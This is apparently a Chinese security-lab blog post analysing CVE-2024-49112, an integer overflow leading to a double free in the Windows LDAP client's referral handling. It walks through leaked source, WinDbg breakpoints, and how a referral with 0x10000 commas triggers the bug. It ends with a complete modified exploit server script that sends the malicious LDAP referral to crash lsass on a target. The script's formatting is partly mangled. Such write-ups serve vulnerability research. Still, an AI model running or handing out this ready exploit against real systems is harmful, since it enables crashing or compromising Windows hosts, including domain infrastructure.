CVE-2024-49112 Windos LDAP 整数溢出分析
CVE-2024-49112 Windos LDAP 整数溢出分析
毕方安全实验室 BeFun安全实验室 2025-02-21 03:02
CVE-2024-49112 Windos LDAP 整数溢出分析
背景
微软12月修复了一个古河大佬(@Yuki Chen)提交的LDAP协议的整数溢出,CVSS高达9.8,SafeBreach发布了一篇文章对漏洞进行了分析,给出了poc,并指出漏洞点位于wldap32.dll的LdapChaseReferral函数:
即这里的lm_referral是可以被用户控制的,在下面遇到未初始化的ref_table导致计算结果为非法地址触发崩溃:
古河表示这个实际上是他报告的另一个信息泄露的漏洞(CVE-2024-49113),而大家都在关注的9.8分的CVE-2024-49112相对于其他漏洞来说更难以利用,SafeBreach也修改了文章和poc为CVE-2024-49113。
我们注意到了同一个函数中的位于结尾的另一处修复:
可以看到这里修复了一个迭代遍历i的类型问题,可以从泄露的WindowsXP的源码中更直观看出来问题(没错又是一个祖传代码的二十年老洞):
typedef struct _LDAPReferralDN{ PWCHAR ReferralDN; // DN present in the referral PWCHAR * AttributeList; // Attributes requested ULONG AttribCount; // Number of attributes requested ULONG ScopeOfSearch; // Search scope PWCHAR SearchFilter; // search filter PWCHAR Extension; // Extension part of the URL PWCHAR BindName; // A bindname extension for the URL} LDAPReferralDN, * PLDAPReferralDN;ULONG LdapChaseReferral(...){ ... LDAPReferralDN *pldapRefDN = NULL; ... USHORT i; ... if (pldapRefDN != NULL) { ldapFree(pldapRefDN->ReferralDN, LDAP_URL_SIGNATURE); ldapFree(pldapRefDN->SearchFilter, LDAP_URL_SIGNATURE); ldapFree(pldapRefDN->Extension, LDAP_URL_SIGNATURE); ldapFree(pldapRefDN->BindName, LDAP_URL_SIGNATURE); if (pldapRefDN->AttributeList) { for (i=0; i<pldapRefDN->AttribCount; i++) { ldapFree(pldapRefDN->AttributeList[i], LDAP_URL_SIGNATURE); } } ldapFree(pldapRefDN->AttributeList, LDAP_URL_SIGNATURE); ldapFree(pldapRefDN, LDAP_URL_SIGNATURE); } return hr;}
这里的i是USHORT(2字节)类型,LDAPReferralDN->AttribCount则是ULONG(4字节)类型,这就导致AttribCount在设置为0x10000时,i会从0增加到0xffff,随后触发溢出变回0,对AttributeList[0]再次进行free,触发一个double free的UAF,这也可能是微软给了高评分的原因:
POC
SafeBreach给出了一个触发此函数调用的poc,具体可见参考文章下面的GitHub repo[1]
具体来说,他们找了一个神奇的RPC,可以让目标机器向我们控制的服务器发起一个LDAP请求,细节可以参考文章[2],然后我们的恶意服务器返回一个LDAP Search Result Done Referral响应,其中就包含了触发49113的lm_referral和触发49112的AttribCount。
翻一下源码可以看到AttribCount增加的代码在LdapParseReferralDN函数:
//// Count the commas in the attrib string//PWCHAR lp = CurrentPos;while(*lp && *lp != L'\0') { if((*lp == L',') && (*(lp-1) != L'\\')) { pRefDN->AttribCount++; } lp++;}pRefDN->AttribCount++; // one more attribute than commas
根据注释可知是统计参数newDN中的逗号的
(实际上是通过逗号来确定数量,即一个标准的referral格式为:
ldap://ldap2.example.com/ou=sales,dc=example,dc=com)
newDN则来源于函数HandleReferral中的Request中的referrals:
// we've got a referral here or maybe even a set of referrals.// it is null terminated but could be multiple URLs separated// by 0x0A (new line).//while ((referral != NULL) && (*referral != L'\0')) { BOOLEAN ssl = FALSE; if (ldapWStringsIdentical( referral, sizeof("ldap://")-1, L"ldap://", sizeof("ldap://")-1 ) == FALSE) { if (ldapWStringsIdentical( referral, sizeof("ldaps://")-1, L"ldaps://", sizeof("ldaps://")-1 ) == FALSE) {...
所以我们需要让我们的恶意服务器返回一个包含0x10000个逗号的referral,直接修改SafeBreach的POC:
ldap_search_result = LDAPSearchResultDoneRefferal(resultCode=REFERRAL_RESULT_CODE, referral=['ldap://a/a?' + ',' * 0x10000])
设置dns服务器之类的可以参考SafeBreach的文章。
总之,修改后发送数据包:
会有数据包过大的问题,所以尝试多次发送:
vulnerable_ldap_packet = get_malicious_ldap_packet(ldap_message.id)packet_size = len(vulnerable_ldap_packet)chunk_size = packet_size // 100remainder = packet_size % 100offset = 0for i in range(100): current_chunk_size = chunk_size + 1 if i < remainder else chunk_size end = offset + current_chunk_size chunk = vulnerable_ldap_packet[offset:end] self.transport.sendto(chunk, addr) offset = end
然后抓包发现数据包格式不太对:
最终尝试自行构造(
GPTDeepSeek启动!)数据包,完整代码见末尾。
然后断下来可以看到我们的AttribCount是0x10001,继续运行成功触发崩溃:
附上windbg的打断点的命令方便大家复现:
// 寻找lsass的EPROCESS!process 0 0 lsass.exe// 切换进程空间到lsass.process /i ffffd307f32c4080 ;g// 刷新kd维护的用户态加载模块列表使之匹配当前进程.reload /f /user// 设置断点bp /p @$proc netlogon!DsrGetDcNameEx2// 上面这个断下来之后再断下面的,不然断不到bp /p @$proc wldap32!LdapChaseReferral+0x21dd
参考文章
-
- [CVE-2024-49113 POC] – https://github.com/SafeBreach-Labs/CVE-2024-49113
-
- [LDAPNightmare: SafeBreach Labs Publishes First Proof-of-Concept Exploit for CVE-2024-49113] – https://www.safebreach.com/blog/ldapnightmare-safebreach-labs-publishes-first-proof-of-concept-exploit-for-CVE-2024-49113/
完整代码
只需要替换掉SafeBreach的exploit_server.py,用法相同
# exploit_server.pyimport asyncioimport loggingimport timefrom struct import pack# 配置日志logger = logging.getLogger(__name__)logging.basicConfig(level=logging.INFO)# 定义 LDAP 请求的常量LDAP_SUCCESS = 10LDAP_REFERRAL = 10LDAP_SEARCH_RESULT_DONE = 0x05# Search result done 操作类型LDAP_SEARCH_REQUEST = 99# Search 操作类型# 构建LDAP Search Result Done Referral响应defgenerate_ldap_search_result_done_referral_response(message_id: int, referrals: list): defencode_length(length): if length < 128: returnbytes([length]) else: length_bytes = length.to_bytes((length.bit_length() + 7) // 8, byteorder='big') returnbytes([0x80 | len(length_bytes)]) + length_bytes defencode_string(s): s_bytes = s.encode('utf-8') return encode_length(len(s_bytes)) + s_bytes defencode_referrals(referrals): referrals_bytes = b'' for referral in referrals: referrals_bytes += b'\x04' + encode_string(referral) return encode_length(len(referrals_bytes)) + referrals_bytes # 正确编码结果代码,使用 ENUMERATED 标签 0x0A result_code_bytes = b'\x0A' + encode_length(1) + b'\x0a' # 匹配的 DN 为空 matched_dn = b'\x04\x00' # 诊断消息为空 diagnostic_message = b'\x04\x00' # 编码引用列表 referrals_encoded = encode_referrals(referrals) # 构建搜索结果完成响应 search_result_done = result_code_bytes + matched_dn + diagnostic_message + b'\xa3' + referrals_encoded # 构建协议操作,0x65 表示搜索结果完成 protocol_op = b'\x65' + encode_length(len(search_result_done)) + search_result_done # 编码消息 ID message_id_bytes = b'\x02\x01' + message_id.to_bytes(1, byteorder='big') # 构建 LDAP 消息 ldap_message = b'\x30' + encode_length( len(message_id_bytes) + len(protocol_op) ) + message_id_bytes + protocol_op return ldap_messageclassLdapServerProtocol(asyncio.DatagramProtocol): def__init__(self): super().__init__() self.transport = None defconnection_made(self, transport: asyncio.DatagramTransport) -> None: self.transport = transport logger.info("LDAP Server started, awaiting requests...") defdatagram_received(self, data: bytes, addr) -> None: try: # 解析 LDAP 请求 message_id = data[8] operation = data[9] logger.info(f"Received LDAP request from {addr}, operation: {operation}") if operation == LDAP_SEARCH_REQUEST: # 处理 Search 请求 logger.info("Processing Search request...") # Referral URL 列表 referrals = [ 'ldap://a/a?' + ',' * 0x10000 ] # 生成带有 Referral 的 Search Result Done 响应 search_result_done_referral_response = generate_ldap_search_result_done_referral_response( message_id, referrals ) # logger.info(search_result_done_referral_response) # self.transport.sendto(search_result_done_referral_response, addr) packet_size = len(search_result_done_referral_response) chunk_size = packet_size // 100 remainder = packet_size % 100 offset = 0 for i inrange(100): current_chunk_size = chunk_size + 1if i < remainder else chunk_size end = offset + current_chunk_size chunk = search_result_done_referral_response[offset:end] self.transport.sendto(chunk, addr) offset = end logger.info(f"Sent Search Result Done Referral response to {addr}") else: logger.error(f"Unsupported LDAP operation: {operation}") except Exception as e: logger.error(f"Error while processing datagram: {e}") deferror_received(self, exc) -> None: logger.error(f"Error received: {exc}") defconnection_lost(self, exc) -> None: logger.info(f"Connection lost: {exc}")# 启动服务器的函数asyncdefrun_exploit_server(listen_port: int): loop = asyncio.get_running_loop() transport, _ = await loop.create_datagram_endpoint( lambda: LdapServerProtocol(), local_addr=('0.0.0.0', listen_port) ) try: await asyncio.Future() # Keep the server running except KeyboardInterrupt: pass finally: transport.close() logger.info("Server has been shut down.")defstart_ldap_server(listen_port: int): """Run the async LDAP server in this thread.""" asyncio.run(run_exploit_server(listen_port))if __name__ == "__main__": start_ldap_server(8888)